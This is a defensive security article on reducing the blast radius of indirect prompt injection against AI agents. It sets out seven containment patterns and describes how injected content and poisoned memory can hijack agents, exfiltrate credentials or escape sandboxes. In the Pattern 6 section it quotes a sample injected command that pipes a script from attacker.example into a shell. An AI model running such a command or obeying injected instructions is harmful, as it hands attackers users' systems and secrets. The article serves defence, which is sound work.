Inside the lethal trifecta: Blast radius reduction in AI agent deployments

AI agents that can read files, call APIs, and perform actions are already being deployed in enterprises. These agents often operate in the center of what Simon Willison terms ‘the lethal trifecta’: they can access private data, process untrusted content, and communicate externally, making them susceptible to data theft via indirect prompt injection – where an attacker plants instructions in content that the agent reads on behalf of a trusted user, such as an email, a web page, or a document. The agent follows the injected instructions with the user's privileges, and the user never sees the attack. The Agents Rule of Two generalizes the concept: an agent should satisfy at most two of a) processing untrusted inputs, b) accessing sensitive systems, and c) changing state externally.

The tension between utility and safety is real. There are valuable agents that can be constrained outside the trifecta, but the capabilities practitioners actually want (read my data, understand external context, take action) push firmly into dangerous territory. This isn't a misconfiguration; it's the architectural cost of usefulness. We’ve all seen pilot programs fail when agents are over-constrained to the point of ineffectiveness. They need space to deliver value — which is precisely what makes them targets.

The threat is still mostly theory, in the sense that the most prominent and widely cited examples are research demonstrations and proof-of-concepts, but the threat is no longer confined to labs. Google's April 2026 study of the Common Crawl repository found a range of prompt injections embedded in public web pages — from harmless pranks to SEO manipulation to data exfiltration attempts — and reported a 32% increase in malicious attempts between November 2025 and February 2026.

So far, we have not had the first high-profile, widely understood, enterprise-scale catastrophe — the ‘Challenger moment’ that forces this risk into every board deck. That is good news. It means we can treat today’s signals (research results plus early in-the-wild probing) as a warning period, and get ahead of the curve by assuming breach of the LLM layer and making blast radius containment the baseline, using controls that operate outside the model, before attackers industrialize the technique. 

The bad news is that this is not an easy problem to solve. Deep architectural patterns like CaMeL and Dual LLM are promising, but not adopted by any mainstream agent harness, as of this writing. We need another line of defense now.

In this article, I’ll walk through seven tactical patterns security practitioners can deploy within the next 1–6 months to reduce risk, without waiting for tooling and harnesses to mature. But first, I’ll look at the framing and mental model needed to put them in place.

Framing: Three lines of defense

Three distinct defensive lines have emerged in response to indirect prompt injection. Understanding where each stands today shapes pragmatic approaches that are useable now.

• Line 1: Prevent injection. Input filtering, instruction hierarchy, and fine-tuned classifiers are all potential solutions to prompt injection. The problem is that adaptive attacks consistently bypass defenses. Nasr et al tested 12 theoretical defenses; human red-teamers achieved a 100% bypass rate. Static, example-based attacks are ineffective for evaluating defenses. Only adaptive attacks matter, and, at the moment, those succeed reliably. 
• Line 2: Architectural separation. Willison's Dual LLM pattern, Google DeepMind's CaMeL, and the six-pattern paper from IBM, ETH Zurich, Google, and Microsoft all propose structural fixes that constrain LLM capabilities through process boundaries and policy engines. CaMeL offers a particularly strong architectural defense: the model proposes actions, and a deterministic policy engine outside the model decides whether to execute them. The problem is that no production-grade CaMeL implementation currently exists. Not a single mainstream agent harness — Claude Code, Cursor, Hermes, GitHub Copilot Agent, Gemini CLI — has adopted these patterns.
• Line 3: Assume breach of the LLM. This is where practitioners need to focus right now, and I’ll talk about it in more detail shortly. Accept that the model will be compromised. Contain the blast radius using controls that operate outside the model: process boundaries, credential isolation, egress filtering, human gates, and comprehensive audit.

The Assume-Breach mental model

A decade ago, we stopped trying to prevent all malware execution and started assuming breach, focusing on segmentation, least privilege, EDR, and blast radius containment. The same shift applies now to agentic AI. 

Two key translations for this domain:

• Memory is persistence. A poisoned memory entry is a backdoor that loads every session. Treat memory writes as security events and log them.
• Credentials are the crown jewels. Two distinct goals emerge:
  • Goal 1: Keep credentials out of the LLM provider’s context window (confidentiality from provider)
  • Goal 2: Keep credentials away from the agent runtime entirely (confidentiality from agent)

Tactical patterns

The following seven patterns can be adopted now. Each description below includes details of what it is, what implementations exist, the trade-offs and limitations, and what to do now. 

Pattern 1: Agent sandboxing

What it is: Agent sandboxing places a controlled boundary around the process the agent runs in, limiting what it can read, write, and reach beyond its sanctioned scope. Of all the patterns here, this is the one we are furthest along with; most agent harnesses ship with some kind of sandboxing available. The gap is that this is often opt-in, rather than on by default, and even where it is enabled, understanding what it actually provides, and where it falls down, is important.

Claude Code, for example, features OS-level sandboxing: a deterministic filesystem and network controls enforced at the kernel level. This is an opt-in control, enabled via /sandbox.

OpenClaw takes a different approach: tool calls run in per-session Docker containers, rather than on the gateway host. Again, this is opt-in, and OpenClaw's own docs are notably honest about the limits, stating: "This is not a perfect security boundary, but it materially limits filesystem and process access when the model does something dumb."

Implementations: nono applies kernel-enforced capability allow-lists to the agent process at launch, blocking sensitive paths and keeping credentials out of process memory. The model cannot override them. It’s designed for local and developer-facing workflows, not remote long-running agents.

Trade-offs and limitations: Sandboxing can limit collateral damage, as it constrains what a compromised agent can touch beyond its sanctioned scope. But even this guarantee is weak. There are multiple examples of agents escaping sandboxes, either when instructed or as an unintended consequence due to alignment issues (e.g., the agent decided it couldn’t complete the task inside the sandbox, so figured out an escape).

Sandboxing also offers no protection against abuse of the tools and credentials the agent actually needs to do its job. A sandboxed agent that legitimately holds secrets and has internet access can still leak secrets; the sandbox won't stop it. This is the gap that patterns 2–4 below address.

Do now: Check whether sandboxing is enabled on your current harness (for most, it is off by default). Where you can, choose remote or cloud-based execution environments (e.g., Claude code on the Web, Codex web, Replit, etc.) over local sandboxes, because they provide stronger process and filesystem separation, with less configuration overhead (Copy.Fail is a recent reminder of the limits of shared-kernel enforced isolation).

Pattern 2: Credential isolation

What it is: The agent calls a tool by name (e.g., firewall.list_rules()). A separate process, or network proxy, resolves the credential from a vault, injects it, and returns only the sanitized response. The agent never sees the secret.

This satisfies Goal 1 structurally: credentials don't enter the LLM context.

Implementations:

• Agent Vault is an interesting open-source implementation of this.
• For local/dev workflows, nono's credential proxy mode (see Pattern 1) keeps credentials out of agent process memory entirely.
• Dmytro Gaivoronsky has documented a simple approach using 1password. At Sophos, we’ve implemented something very similar as a universal agent skill.

Trade-offs and limitations: The agent still authors the HTTP request (URL, parameters, headers, etc.). A compromised agent can redirect a generic proxy to an attacker-controlled endpoint and exfiltrate the credential there. This motivates the next pattern: sealed tools.

Do now: Implement this pattern for your highest-value credentials. Where supported (particularly for access to your LLM provider), implement workload identity federation. You're not solving Goal 2 yet, but you're removing long-lived credentials from LLM context windows and audit trails.

Pattern 3: Sealed tool endpoints

What it is: The agent cannot author the network call at all. It calls firewall.list_rules(), for example, via a Model Context Protocol (MCP) server or API. A broker process (appropriately isolated from the agent – see Pattern 1) holds the credential, makes the actual API call per a fixed schema, enforces a per-tool egress allowlist, and returns only the parsed response.

This satisfies Goal 2, because the credential and the agent never coexist in the same process. The agent's only lever is choosing which sealed tool to invoke and what parameters to pass. It cannot alter headers, URLs, or auth mechanisms.

Implementations: No single project we could find ships this fully. 

Kelos and gitagent provide manifest-driven tool registries with GitOps flows. The broker orchestration that ties them together is the missing piece. 

Cedar can sit at the gateway layer to enforce per-tool PERMIT/DENY policies. Each tool call is evaluated against a declared rule (principal, action, resource, conditions) before execution, independent of the agent's reasoning. The cedar-for-agents repo specifically targets this pattern. Cedar in log-only mode is the practical on-ramp: full visibility into every tool call before you commit to blocking.

Trade-offs and limitations: The agent can't improvise. Every integration needs a tool definition. Dynamic API exploration is off the table.

A compromised agent doesn’t need a secret to abuse an API. Least privilege through well-defined OAuth scopes and user-approval for sensitive actions (see Pattern 6) still apply.

Do now: Identify your 3–5 most sensitive integrations (cloud provider APIs, payment gateways, identity management, etc.). Wrap them as fixed-schema MCP tools running in a separate container. The agent loses flexibility on those integrations, but you gain structural isolation. For everything else, fall back to credential isolation.

Pattern 4: Egress restriction and network monitoring

What it is: A compromised agent is a data exfiltration channel. It holds live credentials, can read internal systems, and has outbound network access. Egress restriction removes or degrades that channel architecturally, and network monitoring detects when it is being abused. Both are necessary, because restriction alone misses novel paths, and monitoring alone detects too late.

Secret detection in traffic: Tools like TruffleHog and Gitleaks were built for code repositories, but their pattern libraries — regex plus entropy analysis — translate directly to outbound HTTP inspection. Scanning agent traffic for high-entropy strings, known credential formats (AWS key prefixes, bearer token shapes), and PII patterns catch exfiltration attempts that bypass application-level controls. 

Network anomaly detection: NDR and IDS together surface statistical anomalies that may indicate exfiltration: unexpected destination IPs, unusual protocol usage, and connections at atypical hours.

Large upload detection and web categorization: Volume thresholds on outbound POST/PUT requests catch bulk data transfer that signature detection misses. Web categorization — blocking or flagging requests to uncategorized, newly-registered, or known-bad domains — adds a cheap, high-coverage filter that requires no per-agent configuration.

Egress allowlisting: Done comprehensively, egress controls can entirely avoid the lethal trifecta, but at a cost. A more manageable approach could entail building up an allowlist of hashed-secrets (and/or canary tokens) and binding them to authorized API endpoints by alerting and blocking on deviations. Assuming the first observed use of a secret was legitimate would eliminate manual curation of the allowlist, analogous to trust-on-first-use.

Implementations: The good news here is that, whilst it’s non-trivial to build these kinds of capabilities, many of these use-cases are very well aligned with existing enterprise network tooling. 

Trade-offs and limitations: Strict egress allowlisting conflicts directly with agent utility. An agent that needs to research, browse, or call new APIs can't do that through a tight allowlist. Every new integration means allowlist maintenance, and scaling that across a fleet of agents is real operational overhead. Intercepting TLS can be expensive/challenging and network controls fail (or work!) in unpredictable, hard-to-debug ways.

Do now: If your organization runs NDR and a proxy with web categorization, you already have the infrastructure. Start in logging-only mode to build a baseline, then add alerts for large outbound POST/PUT requests and connections to uncategorized or newly registered domains. 

Pattern 5: Endpoint detection and response

What it is: A compromised agent ultimately has to do something on a host: spawn a process, write a file, open a socket, load a library, call a syscall, and so on. Those primitives are exactly what endpoint security tooling was built to watch. An agent that has been prompt-injected into running attacker-supplied code is, from the endpoint's point of view, indistinguishable from any other malicious process; it executes shell commands, drops binaries, makes network calls, and chains tools together. EDR doesn't need to understand the prompt or the model to flag the behavior.

The useful framing is that post-exploitation techniques are a finite set, and that set doesn't change just because the thing issuing the instructions is a model rather than a human operator. A modern endpoint agent constrains those behaviors across Linux, macOS, and Windows. If a tool call tries to use one, the detection fires regardless of whether the specific attack has been seen before.

What to watch for specifically: Anomalous child processes spawned by the agent runtime or its interpreter; unexpected outbound connections from the agent process; file writes to sensitive locations; attempts to read credential stores; callouts to low-repute domains; and unsigned or newly introduced binaries executing inside the agent's process tree. These are the same signals EDR already surfaces for any other workload. Agents are just a new source of them.

Implementations: As with Pattern 4, the point here is mostly to use what you already have rather than build something new. If the host running the agent is covered by your standard endpoint agent, behavioral detection, exploit mitigation, and process-tree telemetry apply automatically. The work is making sure agent runtimes are actually in scope: containers, ephemeral virtual machines, and unmanaged devices are common blind spots. Feed agent-host telemetry into the same XDR/SIEM pipeline as the rest of the estate, so that a suspicious tool call shows up next to the lateral-movement signals it would otherwise be divorced from.

Trade-offs and limitations: EDR sees execution, not intent. A legitimately-instructed agent doing destructive work — rm -rf on the wrong directory, for example — looks fine to the endpoint because nothing about the command is malicious. EDR is also weakest where agents are weakest architecturally: SaaS-hosted agents and managed runtimes where you don't own the host, and pure API-to-API agents that never touch a process you control. Those gaps are why this pattern complements rather than replaces Patterns 1-4.

Do now: Confirm that every host running an agent — including Continuous Integration (CI) runners, container hosts, and developer machines with local agents — has your standard endpoint agent installed and reporting. Tag agent processes in your EDR so their telemetry is filterable.

Pattern 6: Human-gated approval and control plane governance

What it is: The same principle applies in two distinct but related contexts, and both warrant the same strength of control:

• High-privilege runtime actions: Irreversible operations like deploying code, modifying firewall rules, or sending emails require explicit human approval before the agent executes them.
• Changes to the agent's own control environment: Any modification to the agent's capabilities, tool definitions, credential scope, or egress rules is itself a high-privilege action, one that reshapes what the agent can do in every future interaction.

Both cases demand a cryptographic ceremony, not a soft ‘OK’ button the agent could simulate or replay.

The architectural response is to separate the agent's autonomous execution plane from a human-governed control plane. The agent remains fully autonomous for its day-to-day work, such as reading, reasoning, writing code, and running tests. But the two classes of action above flow through a control plane where a human reviews and approves before anything executes or takes effect.

Implementations: The auth primitives for cryptographic approval already exist and apply across both contexts. FIDO2/passkeys provide biometric-gated cryptographic key derivation on commodity devices. The WebAuthn PRF extension lets a biometric gesture produce deterministic key material bound to a specific request — meaning the broker can hold a credential encrypted at rest that physically cannot be decrypted without human approval. 

OAuth 2.0 CIBA was designed for the decoupled-device scenario: the agent's harness initiates a backchannel auth request, the human approves on their device, and the broker receives a scoped, short-lived token good for exactly that transaction. Identity Assertion JWT Authorization Grant (ID-JAG; IETF draft-ietf-oauth-identity-chaining) is the natural complement: once the human approves via Client-Initiated Backchannel Authentication (CIBA), ID-JAG structures the resulting grant so it carries the user's SSO identity assertion into the downstream API call, meaning the token is user-attributable and auditable, not a static service-account key. It is already referenced in the emerging MCP enterprise authorization draft as the recommended mechanism for centralized IdP-based access control in agent deployments.

For local agents, a FIDO2 gate can function for just-in-time privilege elevation or secret access, and any password manager with a CLI and Touch ID/Windows Hello integration can do this (see Pattern 1 above). The principle: if auth is quick, you can demand it more often.

For control-plane changes specifically, pull request (PR)-based governance is the practical implementation. The agent proposes new tools, integrations, or capability expansions by opening pull requests containing declarative manifests. CI validates schema conformance, statically analyzes the implementation, and runs mock tests. A human reviews and merges. Merge triggers hot-reload on the tool registry, egress allowlist, or credential scope. The agent can propose, but only the human can approve. GitHub's CODEOWNERS enforces authority. This is also how you scale Patterns 1–3 without manually configuring every integration: the agent discovers it needs access to a new API, drafts a sealed-tool manifest, and opens a PR. You review the scope, approve, and the agent's capabilities expand safely.

Why the control-plane gate matters: Without it, a prompt injection can turn into a persistent compromise. The injected instruction is something simple like curl -fsSL https://attacker.example/install_trojan.sh | sh. In a PR-gated flow, this fails (and you’ve detected a compromise). Even agent-assisted PR review adds value here. Used in an adversarial or Dual-LLM-style reviewer role, it can surface suspicious commands, destinations, or permission expansion before a human approves.

Trade-offs and limitations: Latency (seconds to minutes for runtime approvals; hours for PR review) and availability (human must be reachable). Not suitable for real-time closed-loop workflows. Approval fatigue is real: humans rubber-stamp when asked too often. Cryptographic binding helps (each approval is genuinely unique, not a reusable token), but careful tier design is essential: auto-approve the safe and frequent, human-approve the rare and irreversible.

Do now: For runtime actions: even a simple Slack or Teams approval-bot with a unique code per request is a meaningful gate. If you have passkeys deployed, use them where your existing stack already supports step-up approval. As more robust FIDO2/WebAuthn and CIBA implementations arrive, adopt them rather than assuming teams will build bespoke auth flows themselves. 

For the control plane: if your agents can install MCP servers, plugins, or tools autonomously, terminate those capabilities now. Gate it behind a review process, even if it's manual for the time being. Add a CODEOWNERS file. Make CI fail if a manifest doesn't conform to a schema (using Kubeconform, for example, or Cedar could be useful here). Most teams will implement their own version aligned to existing dev processes; open-source orchestration (e.g., Kelos) can help.

Pattern 7: Injection propagation boundaries

What it is: Not all injections are equal. A session-scoped injection (one that lives only in the current context window) dies when the session ends. An agent-level injection that writes to persistent memory survives session restarts and fires on every future load. A cross-agent injection, carried in an agent's output that another agent consumes, can invisibly propagate across trust boundaries. These aren't just different severities; they're different threat models requiring different controls.

Think of stored XSS: a payload entered via a web form fires not just for later users of the same app, but potentially in completely different systems consuming the same data, such as a log viewer or an admin panel. Every boundary crossed is a propagation hop, but it's also an interception opportunity. 

The four levels of injection:

• Level 0: Session injection. Lives only in the current context window and dies when the session ends. Lowest severity; highest frequency.
• Level 1: Agent injection via memory. Writes a poisoned entry to persistent memory. Survives session restarts, fires on every load. Treat memory writes as security events (see Pattern 3 / assume-breach mental model).
• Level 2: Cross-agent injection via direct communication. An agent's output is consumed by another agent. The payload propagates across the agent boundary. Inspection at the communication channel is your control point.
• Level 3: Cross-agent injection via shared state or Agent2Agent (A2A) protocols. Agents share a memory store, a database, or communicate via emerging agent-to-agent protocols. The injection can propagate to any agent that reads the shared state — potentially across systems you don't control.

Implementations: For boundary inspection and injection classification at the communication layer, prompt-armor and LlamaFirewall are two potentially useful options. For benchmarking and evaluating boundary controls, Open-Prompt-Injection is an interesting research toolkit.

Trade-offs and limitations: This model is more descriptive than prescriptive. The boundaries between levels are real, but not hard — a Level 2 attack degrades to Level 0 behavior if agents share context carelessly, and Level 3 channels can be exploited in ways the attacker doesn't fully control. The honest framing is that higher levels limit attacker reliability, rather than providing guaranteed containment. The value of the model is using each level boundary as a design question: what does an injection look like if it reaches this boundary, and what detection or sanitization can I place here? The boundary you can't fully seal is still a boundary you can instrument.

Boundaries, particularly between distinct agents, are opportunities to take inspiration from Willison’s Dual LLM pattern, whereby a more exposed model is separated from a privileged model, so that injected instructions can't cross the boundary. However, the Dual LLM's stronger security properties only emerge if the interface between the two models is extremely tight, and the privileged model's access to untrusted data is carefully controlled. Loosen those constraints, and the boundary becomes porous. The levels are only as meaningful as the strictness of the boundary controls you actually implement at each hop.

Do now: Map your deployment against the four levels. If you're running a single-agent, single-session setup, you're at Level 0, so instrument the context window for anomalous instructions. If you have persistent memory, you're at Level 1, so implement memory-write logging and review. If agents communicate directly or share state, treat every boundary as an injection vector. Validate and sanitize agent outputs before they're consumed by another agent, the same way you'd sanitize user input before writing it to a database.

What to do next

If you’ve made it this far, you’ll recognize this is a complex and fast-moving topic. As such, a 6-, 12-or 24-month roadmap at this level doesn’t make sense. Instead, here’s a list of actionable objectives to consider in the next week, month, and quarter.

This week:

1. Audit your agents and their tool surface. List every tool, every credential it can reach, current sandboxing configuration and expected connectivity requirements in an agent registry, so you can apply Patterns 1–7 in a meaningful way.
2. Logging (Patterns 4-5).
   1. Emit an OpenTelemetry span for every tool call and forward it into your XDR/SIEM. Include caller identity, timestamp, tool name, parameters (redacted), target system, response metadata, and success/failure (Pattern 5).
   2. Configure a local or network firewall to log all network egress, providing a corpus of connectivity data to build into an allowlist at a later date (Pattern 4, egress allowlisting).
3. Install your standard endpoint security/EDR on every host running an agent, including CI runners, container hosts, and developer machines (Pattern 5).

This month:

1. Use your agent registry identify long-lived secrets that can ‘easily’ be eliminated (e.g., using Workload Identity Federation) or protected (Pattern 2).
2. Add human-in-the-loop gates for irreversible actions. Even a Slack approval-bot or a basic PRs process is a meaningful start (Pattern 6, runtime actions).
3. Improve your sandboxing – ensure it’s enabled for local agents and utilize ephemeral cloud sandboxes where possible (particularly useful for auditing/reviewing untrusted external codebases) (Pattern 1).

This quarter:

1. Wrap your most sensitive integrations as sealed MCP tools in a separate container. Use fixed schemas and per-tool egress allowlists. The agent calls the tool; the broker makes the API call (Patterns 3-4).
2. Gate tool/plugin installation behind a review process (PR-based or manual). Add CODEOWNERS and CI schema validation (Pattern 6, control plane).
3. Configure network-based anomaly detection – connections to low repute domains, large HTTP POSTs, etc. (Pattern 4, network anomaly detection).

Open problems

• No production CaMeL. Potentially the strongest architectural defense remains theoretical. Google DeepMind published the design in April 2025; no harness has shipped an implementation, as of this writing. 
• Memory poisoning detection is heuristic. No reliable automated solution exists. Entropy-based flagging catches some cases, and regex for instruction phrases catches others. A sophisticated attacker can craft memory entries that look like legitimate user context but contain dormant triggers. Human review of memory writes is the current state of the art.
• Agent identity. Modern identity standards were not written for autonomous agents. Some pieces are directly relevant (workload identity federation for service-to-service auth, CIBA for decoupled human approval, ID-JAG for carrying user identity downstream), but support across service providers remains patchy. That leaves teams falling back to long-lived API keys and service credentials in places where they would rather use short-lived, attributable tokens. Anthropic's recent Workload Identity Federation support is a meaningful step forward, but it is still the exception rather than the rule.
• Approval fatigue. Humans rubber-stamp when asked too often. If your agent hits the human approval gate 50 times a day, you'll start clicking through. Passkeys can help by reducing auth friction, but they don’t fully eliminate the UX problem (and, per the ‘Agent Identity’ problem above, plugging them into workflows is challenging). Design approval tiers carefully: auto-approve the safe and frequent, human-approve the rare and irreversible.
• Multi-agent trust. There is no standard protocol for delegating trust between agents. If Agent A calls Agent B's tool, how does B verify A's identity and authority?

Conclusion

Agents are here. Harnesses don't implement deep defenses. Assume breach, contain blast, iterate.

Security practitioners already have the mental models — we've been doing assume-breach containment for a decade in endpoint and network security – and the translation to AI agents is direct: process boundaries are trust boundaries, credentials are the crown jewels, egress is a privilege, and audit is non-negotiable.

The defaults haven't calcified yet. If we move now, we can make blast radius containment the expected baseline, not an optional hardening step. If we wait, we'll be retrofitting defenses into harnesses that were never designed for them.